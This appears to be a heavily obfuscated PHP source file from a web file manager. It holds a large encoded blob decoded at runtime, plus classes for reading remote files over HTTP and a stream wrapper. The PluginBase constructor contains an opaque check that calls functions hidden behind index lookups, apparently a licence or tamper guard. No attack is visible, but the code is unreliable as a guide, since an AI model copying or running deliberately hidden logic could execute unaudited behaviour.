El䅑')."\xf8\xfb\xa6\xc0\xbf\x80\xe9\x4c\xf9\xfb\xec\x99\x3b\x7c\xe1\x41\x9f\xf\x23\xd0\x30\xf9\xe5\xa8\x80\x9\x91\xa6\x9\x2e\x47\x8e\xe\x50\x3b\x2c\xa9\xc7\xd7\x15\x96\x60\x9c\x7e\x36\x1a\xad\x42\x9d\xe7\x1c\x9e\x53\x1d\x8d\xba"."\215\1\102\55\314\216\265\252\162\126\135\45\131\127\74\241\116\316\221\55\164\120\112\2\110\261\331\72\376\314\205\6\211\57\16\6\6\372\205\170\267\147\231\277\157\61\215\271\153\150\250\206\332\371\173\375"._kodDe('LMITjzf4hlmrIwF2QBZCexyiNJJ3cq91zRJ6tYzzL8jYK8gjyOHSfON5qIMCJB7FemeFKFgOnxV/').base64_decode('K0QagV1Ow4i8aAT1AY3gDqAx1F00gjyI0AhqKI3ATYqvj6aBrSHY1tH9XorrxablIrOpWZCICeY=')."\xb2\xb6\xf3\x27\x74\xae\xe2\x83\xe3\x46\x96\xd\xa4\x5c\x26\x9\x26\x7b\xf0\x20\x4b\x38\xa\x71\xaf\x1a\x8a\x18\x91\xd0\x70\x4d\xfb\x2a\x4a\x86\xd8\x2c\xcc\xc\xab\x26\x33\xf3\x43\x1f\x21\xce\x36\xc0\x47\xfc\xc8\x2a\x47\xf8".base64_decode('DFnR+VmJddfDeMUqtpkhBrQO8qvzylnV/iCEjNje+CdCcCNkI0NsZioddImNcvNLUy8IOqZM/xM=')._kodDe('Lq2ZUgU1IBvcZGTq80p/kSyNtcPEFMRVfktFlpXIhno/F030PaVjbiY6AKNFFT25WxAgK0j5udFe').base64_decode('IzMbJTPNrblE3yTeDvybhSrbISVDTs69MaTKx5XDWXcYgoofOjLi7cOOYGwZSUl+VmUBiwN7uL8=')."\x11\x55\xeb\xcc\x80\x95\x94\xdb\x3c\xc3\xf3\x1c\xfe\x91\x49\x95\x1e\xc3\xb2\x2a\xe5\xb4\x7e\x45\xcf\xaa\xe8\x54\x6a\x90\x2b\x4\xb3\x74\x85\xf\x1b\xd2\xba\x66\xa7\xdc\xe8\x78\x30\x67\xf5\x7c\x52\xc8\x81\x2f\xf4\xb3\x11\x71".strrev('07%ULrrR&t'."\n".'ā'."\n".'BK')."\x32\xcf\xc9\x3d\x4\xd8\x52\xe8\x2e\x1a\x31\x69\xa0\x7c\x93\x74\x99\xd4\x67\x90\xae\xe\x88\x70\xb9\xb3\xad\x23\x45\xba\x40\x3\xcc\x29\xcc\x13\xec\xec\x6\xe2\x5c\xb4\xcb\xf\xa4\x5f\xdf\x72\x22\x32\x2d\x9\x78\xa3\xa1\xc0"."\x40\x90\x9e\x47\xc0\x38\xb2\xa0\x8\xfa\x3a\x57\xb0\xf3\x1\x6\xed\xf2\x2c\xb3\x43\x60\x71\x61\xcf\xe2\xb2\x60\x26\xcc\x41\x38\xe2\x9b\xd1\x60\x0\xca\xc2\xbe\x9e\x2e\x5b\x86\x50\x37\x73\xe1\x61\x85\x45\x7b\xfc\x7d\x4b\xca".base64_decode('JoQD0V4hCwaCHXGvHWYtIeSDXcHjHT2BTiHZHyjtCcCsbUAsGtMFtSqyBp0utLRXRRJTcHl1RsE=')."\352\334\36\131\133\135\25\161\267\273\152\230\114\210\207\106\260\27\50\17\126\215\260\205\211\271\135\56\122\0\13\0\211\224\231\36\123\32\44\16\200\102\330\140\323\362\5\262\242\257\25\234\157\100\223\24"."\x97\xdd\x59\x87\x1f\x9f\xf4\x45\x43\x2b\x42\xac\x27\xb1\xdd\x40\xb9\x74\xb\xed\x60\x34\xf1\xfc\xd9\x86\xc\xfe\xfa\x45\xd4\xb0\x92\xcd\x97\x45\xb4\x10\x9f\xc5\xa2\x42\x4\xb9\x54\x8d\xf7\x50\x8\x81\x44\x13\x2e\x8c\xc4\x31"."\xd6\xa8\x5a\xb\x9d\x89\xf1\x2\xb4\x1a\xe5\xfd\xcd\x67\x31\x0\x11\xa5\xff\x7a\x7a\xf7\xb4\xc2\x99\x75\x26\x22\xe1\xc5\xd0\xd7\x44\xe4\x18\x96\x41\xd5\x5\x67\xf\x71\x2d\x97\x40\xfe\x2d\xc8\x54\x95\xe3\xf4\x42\xa5\x0\x36"."\x67\xf4\x2c\x17\x2e\x10\x86\x73\x4c\xa5\x55\x9a\xc5\x8c\x44\xc9\xa5\x48\x54\x46\x26\xce\x51\xf1\xca\x6a\xd4\x69\xa8\xa9\x9c\x53\xce\xa4\x34\xc0\x13\xd3\x59\xa\x95\x47\x2c\xe9\xdc\x51\x48\x5e\x3\x5b\x4f\xea\xbb\xce\x9\x3e".base64_decode('IaRhZFA45f3wrJj5V4ERg8XEkYSUxa4AQqh2LVIjcRrUBdYcQXU7UDD90I8Mt5eCHAp5zyHrqsQ=')."\335\215\121\341\263\74\123\205\73\115\101\27\235\316\315\354\10\277\13\312\216\260\243\155\272\344\322\225\260\250\164\11\127\106\174\13\112\74\201\201\264\216\11\172\13\103\64\307\73\46\240\156\173\311\312\3".base64_decode('zZpE92iewVCjs7vX0+kEHKaeao2syAIy6VYZkchjRmMUugtQ6BI4p1lKg14lo1/qbGWW1aUPBmI=')."\137\40\100\250\113\300\13\0\272\274\142\250\215\52\60\220\313\20\70\216\155\314\11\71\201\145\201\125\30\66\3\207\312\175\167\171\331\357\56\57\367\335\345\266\357\56\57\375\56\6\331\250\117\316\347\73"."\xb1\x23\x30\x71\xce\x5a\x40\x71\x31\x42\x99\x5f\x12\x5e\x70\x88\xd7\x24\x44\x58\xc5\x97\xca\x2e\x90\xec\x55\xd\x28\xfe\x26\x18\xbe\xc1\x43\x8c\xc2\x93\x2\xed\x5b\x8a\xfb\x8f\x6e\x79\x24\xca\x8d\x59\x41\x50\x6\x42\x1c\x15".base64_decode('Q2YTbQIgAplQIuD7fGhH2cukEJ1StlszjDI6AQAq4euYAuY3EhIHFej5UDUkOZbT9CwdG+LliDk=')."\254\141\356\154\270\317\33\274\215\302\141\37\63\215\354\225\307\75\51\45\244\100\66\106\72\312\67\236\327\14\105\364\224\224\120\220\7\16\146\100\43\217\103\346\142\320\230\76\102\123\306\235\240\326\66\227".base64_decode('PYaijFCBTRCUmXDcz1zx2OsGe9CZtfglo16CRJ8KqsU0lXM8nTtlQmdyzrIAp2CAhtmD4BQPNCQ=')."\305\106\303\111\46\164\32\365\14\151\175\34\377\34\123\256\172\116\235\273\127\12\204\102\330\125\334\22\145\202\72\52\262\115\11\233\157\243\310\342\110\157\44\54\366\253\251\313\311\44\250\266\340\16\305\122".strrev('*2/ҧ($UUUe1fsy$KYTy\'dL?z}6'."\r".'')."\xfb\x91\x33\x2d\xca\x54\x84\x1d\x1\x72\x62\x45\x1c\xc5\x31\xaf\x52\xa0\x5b\x73\x1d\x5a\x82\x2c\x86\x6b\x2a\x0\xbd\x56\xb4\x54\xcc\xaa\x2\xbf\xd5\x15\x8e\xa\x28\xfc\xa0\x38\x1c\x61\x8\x40\xdf\xae\x68\x99\x55\x85\x2\xd5".base64_decode('xH5zkmjbCV5h+EknkfXbZdMUdujtqO/gxK9317vHCI9pH4Vf5G4e7QvGeBTwSHoXGxU5NVkDyBg=')."\x89\x29\xdd\xac\x26\x94\x87\xf7\x7a\x9b\x28\xcb\xf5\xf4\x1e\xe3\xe4\x7e\x9a\x16\xb6\x8f\x67\x33\x12\xf1\xab\xd4\x5a\x59\xe7\xaa\xad\x94\xa8\x53\xd0\xd6\xca\x81\x70\x97\x73\x5e\x65\x7b\xdb\x8c\x85\x9d\xe8\xa8\xce\x54\x7a\xe1".strrev('Q2X41NVqftWYv{^cv_~ ڬA')."\320\6\45\62\336\24\3\177\40\165\56\370\235\13\261\222\340\257\211\163\221\266\66\136\60\150\255\307\331\5\232\135\256\160\220\245\215\121\270\120\101\270\133\217\255\246\174\223\36\52\300\7\4\24\231\316".base64_decode('ITlDl0zxcSn4yYgO5x2cdXx6VEGDPYQHZ2uZmnBchmlpxHQ0PPCfscRpzJo1x+mqratvaGxqnjs=')."\x8f\x1c\x1e\xe7\xa\x59\x45\xa7\x47\x25\x6e\xe4\x5e\xb0\x1\xfe\xa8\x9\xfa\xc3\xf\x61\xac\x47\xa9\x79\xea\x6c\x1\x5d\x56\x31\xde\x48\x65\x1\x41\x3f\xc6\x10\x35\x8a\x46\x94\x89\x5e\x7a\xb2\x0\x97\xca\x24\xbc\x9d\x21\x69"."\xf3\x3a\xfa\x9\xe5\xb8\x23\x43\x90\xdb\x44\x28\x25\x42\xf\xab\x82\x8e\xa\x89\x85\xd2\xd4\xdd\xfd\xec\xda\xfa\x44\xb\xfb\xc7\x6\xa3\x72\x52\xca\x70\x9\x75\xc5\xaf\x9\xc9\x5\xd0\x26\xaa\x1d\xb5\x3a\x9f\xe2\x15\xb\xb"."\xf\xf\x1\x22\x30\x3a\xf1\xd\xa2\x70\xb2\xb\x4b\x14\xca\x16\x4e\x13\x51\x1c\xbe\xc4\x44\x5\x22\xc\xc8\xc4\xa8\xbb\x78\x31\x4d\x0\x2f\x72\x1\x21\x2a\xe9\xf2\x2d\xf7\x77\xb9\x3a\xe1\x43\x4a\xa1\x3c\x33\x13\x36\x82\x8b"."\x89\x96\x26\xb\xa0\xca\xbb\xe0\x76\x2d\xa7\x50\x5f\x26\x49\x78\xf7\x15\x64\x6b\x1c\x68\x92\x63\x75\x5e\x49\x39\xf2\xb9\x94\x23\xa5\x26\x1d\xb1\x6c\xde\x61\xaa\xc9\x24\xfc\xc7\x1\xc6\xd0\x91\x8f\x27\x1c\x46\x31\xe5\x50\x92"."\362\270\143\114\211\345\251\337\150\275\336\241\350\111\307\110\42\356\110\304\165\107\2\24\220\323\307\34\71\45\351\320\0\134\37\253\167\344\101\330\0\60\31\374\31\72\165\42\243\46\24\15\154\212\14\55"."\123\100\372\110\343\323\300\47\250\30\104\41\313\55\275\340\357\362\326\272\226\7\131\352\270\143\232\4\173\61\53\276\267\230\11\113\61\53\354\305\210\211\136\352\360\173\21\36\22\32\307\157\103\311\31\350"."\x40\x9c\xfc\x37\x9e\xcd\xbb\xe0\x1f\x12\x23\x14\x88\xe8\x40\x63\xbe\x8\x1a\xf8\xb\xa\x5\x2e\x8a\x88\xee\x49\x26\xb8\x30\xa2\xe9\x2a\x10\x97\xe5\xf2\x15\x9\xd8\x13\xd\x2d\x69\x8e\x31\xcd\x26\x11\x35\x44\x52\x84\xba\x91".base64_decode('irAUEjdKMS2t0PQwez0lppr9YAMtc1U/PJoAbkTz0KpRSIJAgN2vjlNz40UufKPK8fMw0cHgujw=')."\146\113\43\104\150\233\4\345\47\10\50\7\316\16\132\30\74\321\214\302\3\115\241\145\213\134\376\156\157\320\205\312\103\6\160\374\333\360\232\120\27\255\331\361\107\231\200\315\20\123\31\55\46\147\242\270"."\14\176\333\44\347\0\127\141\76\67\26\271\160\34\224\346\262\246\244\250\26\121\106\313\245\124\263\220\260\266\151\161\177\10\125\245\0\62\270\154\50\31\120\336\177\310\140\301\220\63\377\11\337\212\221\120"."\x8a\x6a\x5c\xe9\x95\x47\xca\x10\x14\x84\x52\x92\xc9\x32\xc\x9c\x83\xf3\x78\x4b\xe\x78\x2a\xc2\xb2\xf0\x47\x7e\x10\xf3\xf5\xb2\x23\x3d\x31\x8b\x9f\x26\xc1\x73\x6c\xd0\x75\x34\x37\xca\x92\xe0\x70\xa1\x20\x8f\xc0\x42\xc5\xa2"."\60\153\245\5\210\214\66\16\70\43\265\44\364\0\102\203\152\63\135\342\316\203\24\323\31\350\355\37\10\373\274\256\262\110\24\50\334\74\210\124\131\46\31\36\43\203\355\72\72\110\234\46\327\64\50\110".strrev('V'."\n".'(a3l,Ⴄ 2v͔?K^P]L>'."\n".'')._kodDe('Le8anAO26fmjWnRFxtUruj1BmMOHy0VNLJ9M0E1F4tr7VkGLVBtC4jIEHlMHhQP/1FIq/wvRqqSB')."\xba\x43\x2e\xea\x8e\x98\x96\x1b\x71\x24\x8c\x24\xf8\x33\x1c\x60\xe9\x85\xc9\xc9\xc\x40\xcc\xc8\x8e\xc\x60\x60\x8e\xac\x9a\x50\x1d\x59\x10\x50\x4d\xc7\x78\xd6\x61\x34\x64\xc9\x22\x9c\xcd\x83\xc4\x7c\x83\x43\x4b\xea\xe\x7d"."\x4\x14\x69\xa4\xe1\xdc\x18\x71\x8c\xc9\x45\xc7\x58\x56\x76\x64\x1b\x65\x87\x96\x4a\x39\x8a\xa3\x49\xc7\x58\xd1\x51\xd4\xe2\xe\x93\x9e\xfd\x52\x31\x29\x6a\x88\xaa\x79\xa3\x5\x35\x3e\x2\xc1\x2e\xf8\xf\x18\x97\x6c\xde\x88".base64_decode('FnLqOHWvndW0opQtphP/CR87wbbjY6EE8D1dM0ZkF1IRUnT7csTShwjCFNShA6Mt5/MOINAkwLY=').strrev('ǂPQr"TEN<Q-]r&E!U s}')."\50\323\255\214\366\317\133\100\103\100\336\56\326\115\301\177\353\247\144\300\133\213\232\36\123\15\372\22\22\153\372\260\50\154\376\367\231\104\146\370\77\344\342\362\151\112\311\351\377\363\127\205\114\23\12\65".strrev('#LZ#sH%Uڜ |TS0Q&Cà}ݛl'."\0".'')."\172\23\220\215\35\354\121\362\343\125\222\114\174\204\161\276\317\20\137\302\240\115\300\204\121\362\15\364\13\67\321\16\334\106\7\43\27\325\350\101\352\205\106\10\13\130\16\356\222\335\201\317\346\221\21\13"."\147\16\274\73\50\331\247\24\376\101\130\303\260\370\161\213\44\147\27\342\130\57\331\62\4\355\75\31\326\112\35\42\160\127\106\271\102\226\373\214\2\21\253\0\213\105\173\62\324\337\327\334\202\236\161\40"."\325\130\7\175\61\316\201\337\15\165\130\212\100\25\212\232\102\203\231\64\145\33\256\222\217\375\27\245\23\167\262\110\240\5\242\1\366\60\201\223\132\320\305\106\171\64\325\102\227\140\367\310\217\214\361\253"."\223\171\73\243\134\221\115\324\67\64\315\27\367\213\174\30\271\343\32\162\224\337\200\177\350\321\30\43\14\311\112\147\22\175\352\122\234\331\50\321\352\25\227\274\77\52\160\101\33\377\372\257\246\203\247\234"."\270\211\63\11\47\130\254\144\241\13\312\175\345\377\277\36\126\17\146\144\37\350\145\62\246\40\30\212\42\54\257\75\176\226\361\277\377\76\25\330\144\253\17\53\224\152\235\372\302\261\203\142\6\240\241\73"."\31\23\101\332\347\157\52\11\353\33\54\313\43\212\260\245\42\70\235\71\134\307\11\71\201\347\156\62\20\221\130\10\106\170\303\124\364\251\216\12\12\243\106\116\127\64\332\3\222\372\22\212\101\227\345\310".base64_decode('6ZtnMXOTDy8SeRVgjLMJU+MppuDAHTKWAD01A5tIi0gJ4tzqSKD7hA0oygDCPAL0rQpiIZGXuAA=')."\202\32\52\70\362\41\333\124\336\123\36\62\141\22\16\361\345\126\20\145\204\102\70\72\231\171\310\143\56\376\254\300\277\71\253\346\241\76\252\230\17\43\302\201\14\22\343\130\142\132\224\360\340\213\100\126"."\241\206\325\2\161\231\162\64\213\53\1\11\221\54\42\50\110\71\33\324\334\105\6\263\60\17\351\75\353\114\105\15\372\236\225\10\26\307\74\66\223\210\350\77\136\130\351\104\146\272\207\230\112\50\313\141"."\211\221\10\27\261\220\36\264\160\247\203\342\314\21\47\175\336\211\276\372\44\63\257\55\320\35\15\333\327\340\63\37\202\222\311\160\306\55\76\347\221\211\311\272\13\120\330\210\111\135\170\225\213\210\255\54"."\x23\x8e\x53\x91\x80\x37\x20\xa7\xc6\x47\xca\xb8\xec\x81\xfd\xf\x75\x64\x4\x9e\x29\xac\x34\x25\x68\x9c\xa7\x80\x5\x89\xe9\xb6\xd1\x10\x92\x5d\xa1\x8c\x42\x1e\xac\xb6\xbc\xa1\x10\x60\x77\xbe\xd5\xc4\xdd\xdb\xf0\x22\xca\x10"."\340\54\244\207\111\42\57\260\200\112\70\110\330\302\274\55\300\62\104\0\235\244\123\172\260\344\200\316\201\72\4\41\270\324\103\123\151\152\260\224\207\261\151\50\342\161\76\217\343\360\221\166\353\206\122\374"."\x1a\xbe\x9a\x85\x9b\xa6\x20\xdc\xdf\xb8\x6c\xc5\xb3\x79\x53\x76\xae\xa8\x6\x3e\x86\x13\x65\x7f\x10\x12\xeb\x4e\x27\x5b\xbf\xae\xa1\x15\xd8\xa\x65\xbb\x30\xc1\x44\x48\x50\xdf\x9\xd9\xd9\x95\xa9\x59\x7a\x1\x8\xcc\xc2\x11"."\71\176\44\21\77\135\15\337\163\3\114\113\12\15\364\126\41\7\327\20\200\134\345\240\147\265\126\21\201\140\225\64\103\22\376\303\217\253\125\301\144\130\310\52\311\337\307\37\274\255\226\370\243\140\342\373".base64_decode('2PAMqUtjQ2/1zw+d51rpvK0cWlzTDQFNeFtoKfQ0joO9ao4+C0HIl2YnXS8+NG8tH4x0yLSMCX8=').strrev('t/rj'."\n".'] =Y Iw"QQupDdDe]b8.')."\335\357\347\316\22\120\62\76\135\363\24\145\246\102\142\317\65\140\221\100\205\73\206\70\242\100\276\115\100\31\143\240\226\350\37\117\136\265\347\60\323\252\236\350\120\163\11\73\176\41\27\143\120\216\16\6".base64_decode('o6McGMhInD3b4MJKwhmkXORn0FwmTCS65GIZVGbazKAAwlCRwCO8MMId6ypj4tcJXrJ0HYGIpVA=')."\xfe\x2\x89\xbd\x5d\x68\xde\x30\x38\x39\xf6\xcf\x9\x5e\xcf\x8\xb9\x71\x10\x7e\x38\x9e\xb9\xb5\xc3\x45\xe9\x1a\xca\x28\x27\xb8\xbf\x3b\x5c\x47\xb6\x7d\xe3\x9f\xb4\x3e\x94\xc2\xd0\x98\x30\x6\x70\x90\x92\xb8\xd3\x2\xb5\xf9"."\366\205\47\131\164\105\265\45\221\275\243\120\174\331\55\246\205\24\172\204\342\304\233\207\151\63\204\312\177\204\323\253\265\213\103\266\373\16\33\13\345\310\164\61\323\54\3\42\60\130\326\130\202\31\24\23".base64_decode('LVW0DzcS9DmtYmAWnS/hNI81CeMrthaJGeytxTn0kj4jecp/2v4B2mX2ez9eiHDaVnIpGdbK5ME=')."\x35\x2a\x9b\xd\x27\xc1\x9c\x5c\x5a\xb3\xe4\x15\xf7\xb4\x3c\x1b\x80\x16\x8c\x69\x6a\x58\xda\x7e\x34\x3b\x6c\xad\x27\x75\xe6\x7e\xb5\x5\xd4\xe9\xba\xa4\x2c\x72\xe9\xe7\xc8\xf8\xdb\xb1\xd1\x3e\xb5\x7c\x2d\xca\xee\xa9\xa7\xab"."\105\131\344\151\153\301\261\155\127\210\345\330\34\115\51\303\330\370\215\137\51\13\345\151\145\356\37\161\231\160\175\15\132\324\361\112\222\305\313\314\362\327\235\301\262\23\321\260\336\103\332\340\142\307\120\305"."\x8a\xad\xeb\x4e\xd9\xfe\xe0\xb9\xfe\x7e\x89\x6\x44\xb0\x85\xf1\x16\x72\x23\x39\xea\xb1\x8\x7c\x81\x7b\x2\x84\x56\x89\x1e\xdd\xde\x7f\x54\x8c\xb3\x39\xc5\xa5\xe4\x99\x2b\x8\x8e\x58\xcb\x7a\xd5\x75\xc0\x1d\x6e\xe9\x16\x32"."\103\375\131\211\76\207\361\76\103\63\325\270\240\6\1\201\242\333\134\234\116\77\222\341\47\121\104\6\300\267\133\136\121\253\27\325\126\205\57\242\263\33\104\313\165\131\231\164\27\77\231\264\70\145\106\357"."\x68\x31\x4b\x6d\xbc\x28\x93\xb3\x59\x7c\x93\x80\x34\x56\x8\xa4\x63\x2\x6e\x93\x1c\x78\xad\xc3\xc9\x21\x4d\x37\xa1\x5\x37\xe0\xc7\x79\xf4\xdb\xa1\x99\x26\x65\x13\x40\xb2\x45\x98\x48\x74\x43\xe\x62\x84\xfb\x51\x10\xe2\xf".strrev('n ׅzm16'."\0".'(lw+ fe&"!rAACPE•').strrev('‡-5_tf1xю@XHǓTN&nXB?g')."\241\222\244\176\117\50\64\30\10\172\261\112\147\111\62\312\45\134\255\227\44\365\167\7\372\246\113\363\365\172\374\75\45\151\360\252\35\52\232\322\247\34\161\222\277\37\325\322\323\323\103\365\272\112\153\341".base64_decode('71zCa4JumPh5aD6t0eNFm84JPT4OyXSaQObPNrRCWMmywyehOOspgDjkBn1qlAXyJTsIYaGHV+M=').base64_decode('faSwIPWkCN+1ZtOfSbOocaKODb9Pc1nu3QQ4mjiICQkEKa7BCEB0Qm33HrbOFNb70pszBOEdAus=').base64_decode('fTT1pLBaiwknqphPWTiUqNyAwzYGlghrYTlF+AoULHisY0IMi8cVbYytmHKKXl/bWbFwXwt76f8=')."\1\202\10\320\177\222\302\0\0", 10, -8))); goto F،ɡ; Cȉ: function beforeShutdownFatalError($D) { think_exception($D); } $_SERVER[$_SERVER[][48]] = $c($_SERVER[$_SERVER[][45]]); $d = E_ALL ^ E_NOTICE ^ E_WARNING ^ E_DEPRECATED; goto EǼ; bÅ: class PathDriverUrl extends PathDriverBase { static $_cacheHeader = array(); public function __construct($DŅ = false) { } public function exist($fᑆ) { $a쟢 = $this->info($fᑆ); return $a쟢[$_SERVER[ѽ][185]]; } public function isFile($F򾤓) { $C = $this->info($F򾤓); return $C[$_SERVER[ѽ][185]]; } public function isFolder($D) { return !1; } public function size($B󗑊) { $E = $this->info($B󗑊); return $E[$_SERVER[ѽ][77]]; } public function info($a) { return $this->infoParse($a); } public function infoAuth($Bػٌ) { return $this->infoParse($Bػٌ); } public function infoWithChildren($aɊ) { return $this->infoParse($aɊ); } public function infoFull($Aڙ) { return $this->infoParse($Aڙ); } private function infoParse($BԚ) { $bȫ۰ =& $_SERVER[ѽ]; $d맺 = $this->header($BԚ); if (!$d맺 || !$d맺[$bȫ۰[699]]) { return !1; } $Ḍ = _get($d맺, $bȫ۰[322], 0); $B᮸ = array($bȫ۰[28] => $d맺[$bȫ۰[28]], $bȫ۰[75] => $BԚ, $bȫ۰[29] => $bȫ۰[164], $bȫ۰[77] => intval($Ḍ), $bȫ۰[157] => get_path_ext($d맺[$bȫ۰[28]]), $bȫ۰[1158] => $Ḍ > 0 && $d맺[$bȫ۰[1285]], $bȫ۰[1159] => !1); return $B᮸; } private function header($Bێ) { if (isset(self::$_cacheHeader[$Bێ])) { return self::$_cacheHeader[$Bێ]; } self::$_cacheHeader[$Bێ] = url_header($Bێ); return self::$_cacheHeader[$Bێ]; } public function hashSimple($eݞ, $Bڄ = false) { goto d¯; eی: $Cۏ = $F෾Ǯ[$d۝[77]]; $bܬ = 200; $f = 50; goto e; e: if ($Cۏ <= $bܬ * $f) { return md5($this->fileSubstr($eݞ, 0, $Cۏ)) . $Cۏ; } $Cת = intval($Cۏ / $f); $b筺 = $d۝[33]; goto A; A: $DÊ = timeFloat(); $b탿 = 15; for ($f֋ = 0; $f֋ < $f; $f֋++) { if (timeFloat() - $DÊ > $b탿) { return !1; } $bҭ = $this->fileSubstr($eݞ, $Cת * $f֋, $bܬ); if (!$bҭ) { return !1; } $b筺 .= $bҭ; } goto BŔ; d¯: $d۝ =& $_SERVER[ѽ]; $F෾Ǯ = $this->info($eݞ); if (!$F෾Ǯ || !$F෾Ǯ[$d۝[185]]) { return !1; } goto eی; BŔ: $b筺 .= $this->fileSubstr($eݞ, $Cۏ - $bܬ, $bܬ); return md5($b筺) . $Cۏ; goto bϿ; bϿ: } public function getContent($d㞭) { return $this->fileSubstr($d㞭); } public function fileSubstr($aɌק, $E = 0, $bͯ׷ = -1) { goto F; F: $aߥ =& $_SERVER[ѽ]; $dژ = $this->info($aɌק); if (!$dژ || !$dژ[$aߥ[185]] && $dژ[$aߥ[77]] > 1024 * 1024 * 10) { return !1; } goto F; D⃥ؖ: $cߥȯ = url_request($aɌק, $aߥ[213], !1, $E좉, !1, !1, 1); return $cߥȯ[$aߥ[1038]] ? $cߥȯ[$aߥ[1038]] : $aߥ[33]; goto d; F: if ($bͯ׷ === -1) { $bͯ׷ = $dژ[$aߥ[77]]; } if ($bͯ׷ == 0) { return $aߥ[33]; } $E좉 = array($aߥ[1286] . $E . $aߥ[724] . ($E + $bͯ׷ - 1)); goto D⃥ؖ; d: } public function download($A, $a) { Downloader::start($A, $a); return $a; } } class StreamWrapperIO { private $path; private $info; private $pose = 0; static $_chunkBuffer = array(); private $timeStart = 0; function stream_open($B, $fǺ = '') { goto C; fӫɽ: if (!$this->info) { return !1; } if (count(self::$_chunkBuffer) > 100) { self::$_chunkBuffer = null; self::$_chunkBuffer = array(); } if (!isset(self::$_chunkBuffer[$B])) { self::$_chunkBuffer[$B] = array(); } goto f; f: return $this->info ? !0 : !1; goto A߇; C: $this->info = $this->info($B); $this->timeStart = timeFloat(); $this->path = $this->info[$_SERVER[ѽ][75]]; goto fӫɽ; A߇: } function stream_read($C) { $bҳ = $this->fileSubstr($this->pose, $C); $this->pose += strlen($bҳ); return $bҳ; } public function stream_tell() { return $this->pose; } public function stream_seek($C眅, $C) { $dῺ =& $_SERVER[ѽ]; if ($C == SEEK_SET) { $this->pose = $C眅; } else { if ($C == SEEK_CUR) { $this->pose += $C眅; } else { if ($C == SEEK_END) { $this->pose = $this->info[$dῺ[77]] + intval($C眅); } } } if ($C眅 < 0) { $this->pose = $this->info[$dῺ[77]] + $C眅; } return !0; } public function stream_eof() { return $this->pose >= $this->info[$_SERVER[ѽ][77]]; } public function stream_close() { return !0; } public function url_stat($eˎה, $C훙) { $B =& $_SERVER[ѽ]; $D = $this->info($eˎה); return array($B[1287] => 0, $B[1288] => 0, $B[12] => 32768 + 511, $B[1289] => 0, $B[1290] => 0, $B[1291] => 0, $B[1292] => 0, $B[77] => $D[$B[77]], $B[1293] => $D[$B[1164]], $B[1250] => $D[$B[107]], $B[1249] => $D[$B[184]], $B[1294] => 0, $B[1295] => 0); } static $fileInfo = array(); public function info($E) { $F눊 = $_SERVER[ѽ][1296]; if (isset(self::$fileInfo[$E])) { return self::$fileInfo[$E]; } if (substr($E, 0, strlen($F눊)) != $F눊) { return !1; } self::$fileInfo[$E] = IO::info(substr($E, strlen($F눊))); return self::$fileInfo[$E]; } public static function read($F˹, $eӿ, $C޶͏) { goto D; D: $B =& $_SERVER[ѽ]; $e¾ = fopen($F˹, $B[1166]); if (!$e¾) { return $B[33]; } goto bɦܣ; eܺל: $A秔 = 0; while ($A秔 < $C޶͏) { $eį = min($CՎ, $C޶͏ - $A秔); $EÜ .= fread($e¾, $eį); $A秔 += $eį; } fclose($e¾); goto D; D: return $EÜ; goto AŐ; bɦܣ: $CՎ = 8192; fseek($e¾, $eӿ, SEEK_SET); $EÜ = $B[33]; goto eܺל; AŐ: } public function fileSubstr($dʮ, $FѪ) { goto d; f: $Fɇ = 64 * 1024; $a溜ȅ =& self::$_chunkBuffer[$this->path]; if (!$a溜ȅ) { $a溜ȅ = array(); } goto Fйß; dφ: $F = ceil(($dʮ + $FѪ) / $Fɇ) * $Fɇ - $e; $A = IO::fileSubstr($this->path, $e, $F); $a溜ȅ[$e . $f򆄑[33]] = $A; goto F; d: $f򆄑 =& $_SERVER[ѽ]; $EϮ = $this->info[$f򆄑[77]]; $F˅ = $dʮ; goto F鱇; F: ksort($a溜ȅ); $aĢ֭ = substr($A, $dʮ - $e, $FѪ); return $aĢ֭; goto cϨш; F鱇: $e舺햋 = $FѪ; if ($dʮ < 0) { $dʮ = $EϮ + $dʮ; } if ($FѪ === !1) { $FѪ = $EϮ - $dʮ; } goto Bό; Bݷ֛: foreach ($a溜ȅ as $F΍ => $b) { $F΍ = intval($F΍); $d = $F΍ + strlen($b); if ($dʮ >= $d) { continue; } if ($dʮ >= $F΍ && $dʮ + $FѪ <= $d) { return substr($b, $dʮ - $F΍, $FѪ); } break; } if (count($a溜ȅ) > 40 || timeFloat() - $this->timeStart > 2.0) { $this->log($f򆄑[1297], $f򆄑[1298] . count($a溜ȅ) . "\x3b\163\x74\x61\162\x74\x3d{$dʮ}\x2c\x6c\145\156\147\164\150\x3d{$FѪ}\73\x70\x6f\x73\x65\x3a{$F΍}\176{$d}"); throw new Exception($f򆄑[1299]); } $e = intval($dʮ / $Fɇ) * $Fɇ; goto dφ; Bό: if ($dʮ + $FѪ > $EϮ) { $FѪ = $EϮ - $dʮ; } if ($FѪ <= 0) { return $f򆄑[33]; } if ($dʮ < 0 || $dʮ >= $EϮ || $FѪ <= 0 || $FѪ > 1024 * 1024 * 5) { throw new Exception("\x69\157\x46\151\154\145\x52\x65\x61\144\40\145\162\x72\157\x72\41\x20\x73\164\141\162\164\75{$dʮ}\x3b\154\145\x6e\147\x74\150\x3d{$FѪ}\x3b\40\163\151\x7a\145\75{$EϮ}\73"); } goto f; Fйß: $F΍ = 0; $d = 0; $b = $f򆄑[33]; goto Bݷ֛; cϨш: } private function log($Eی↬, $c) { $b =& $_SERVER[ѽ]; $AР = timeFloat() - $this->timeStart; write_log(sprintf($b[1300], $Eی↬, $this->info[$b[28]], $AР, $c), $b[1215]); } } class PluginBase { public $in; public $pluginName; public $pluginPath; public $pluginHost; public $pluginHostDefault; public $pluginApi; public $packageData; private $pluginLangArr; private $pluginConfig; public $cachePath; public $fileInfo; function __construct() { goto eޗ; F: $this->values = array(); return $this; goto aٻ; eޗ: $B =& $_SERVER[ѽ]; if ($_SERVER[$B[690]] != $_SERVER[$B[1301]]) { goto Bٶ; E؅: $CŅ = $cӠ($b呉Ő); $E刼ē = explode($B[214], $CŅ); if (count($E刼ē) < $B[581]) { $a̎ = $B[695]; $a̎(); } goto BѼ; BѼ: $c֣ = $B[798]; $c֣($_SERVER[$B[799]]); $c֣($_SERVER[$B[693]] . $B[1302]); goto C؋; C؋: $D炍 = 1; while ($D炍 > 1) { $D炍 = $D炍 + 4; $FҔҬ = rawurlencode($D炍 . $B[358]); } goto Fӆ; Bٶ: $aڮҳ = $B[797]; $cӠ = $B[692]; $b呉Ő = $_SERVER[$B[693]] . $B[694]; goto E؅; Fӆ: } global $in, $config; goto fփ; fփ: $this->config =& $config; $this->in =& $in; $this->modelPlugin = 